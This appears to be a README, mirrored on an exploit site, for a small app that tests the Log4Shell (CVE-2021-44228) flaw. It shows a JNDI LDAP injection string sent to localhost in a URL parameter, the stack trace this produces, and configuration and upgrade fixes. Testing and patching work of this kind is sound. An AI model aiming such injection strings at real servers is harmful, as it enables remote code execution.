## https://sploitus.com/exploit?id=F32DF396-0485-5F43-8A52-31B8DD252790
# Evaluate the Log4Shell: RCE 0-day Issue
This repo contains the code to evaluate Log4j2 issue CVE-2021-44228
## More details
* https://www.lunasec.io/docs/blog/log4j-zero-day/
## How to Test
Send GET request with query parameter as `${jndi:ldap://127.0.0.1:3089/}`.
```
http://localhost:10000/test?userParam=%24%7Bjndi%3Aldap%3A%2F%2F127.0.0.1%3A3089%2F%7D
```
When above request is sent application tries to connect to ldap url and following errror is printed since that
is not running in my machine.
```
2021-12-14 09:10:25,055 http-nio-10000-exec-1 WARN Error looking up JNDI resource [ldap://127.0.0.1:3089/]. javax.naming.CommunicationException: 127.0.0.1:3089 [Root exception is java.net.ConnectException: Connection refused (Connection refused)]
at java.naming/com.sun.jndi.ldap.Connection.<init>(Connection.java:237)
at java.naming/com.sun.jndi.ldap.LdapClient.<init>(LdapClient.java:137)
at java.naming/com.sun.jndi.ldap.LdapClient.getInstance(LdapClient.java:1610)
at java.naming/com.sun.jndi.ldap.LdapCtx.connect(LdapCtx.java:2752)
at java.naming/com.sun.jndi.ldap.LdapCtx.<init>(LdapCtx.java:320)
at java.naming/com.sun.jndi.url.ldap.ldapURLContextFactory.getUsingURLIgnoreRootDN(ldapURLContextFactory.java:60)
at java.naming/com.sun.jndi.url.ldap.ldapURLContext.getRootURLContext(ldapURLContext.java:61)
at java.naming/com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:204)
at java.naming/com.sun.jndi.url.ldap.ldapURLContext.lookup(ldapURLContext.java:94)
at java.naming/javax.naming.InitialContext.lookup(InitialContext.java:409)
at org.apache.logging.log4j.core.net.JndiManager.lookup(JndiManager.java:172)
at org.apache.logging.log4j.core.lookup.JndiLookup.lookup(JndiLookup.java:56)
at org.apache.logging.log4j.core.lookup.Interpolator.lookup(Interpolator.java:221)
```
## Temporary Fix
### Fix 1
If the `log4j-core` version is `>=2.10` by adding following JVM parameter this JNDI lookup can be disabled.
```
-Dlog4j2.formatMsgNoLookups=true
```
### Fix 2
We can update the `log4j2.xml` file with `{nolookups}` in log message pattern. Check branch `update-log4j2-config` for the fix.
## Permanent Fix
* Update the log4j version to `2.15.0`. Check the fix in branch `update-log4j-to-2.15.0`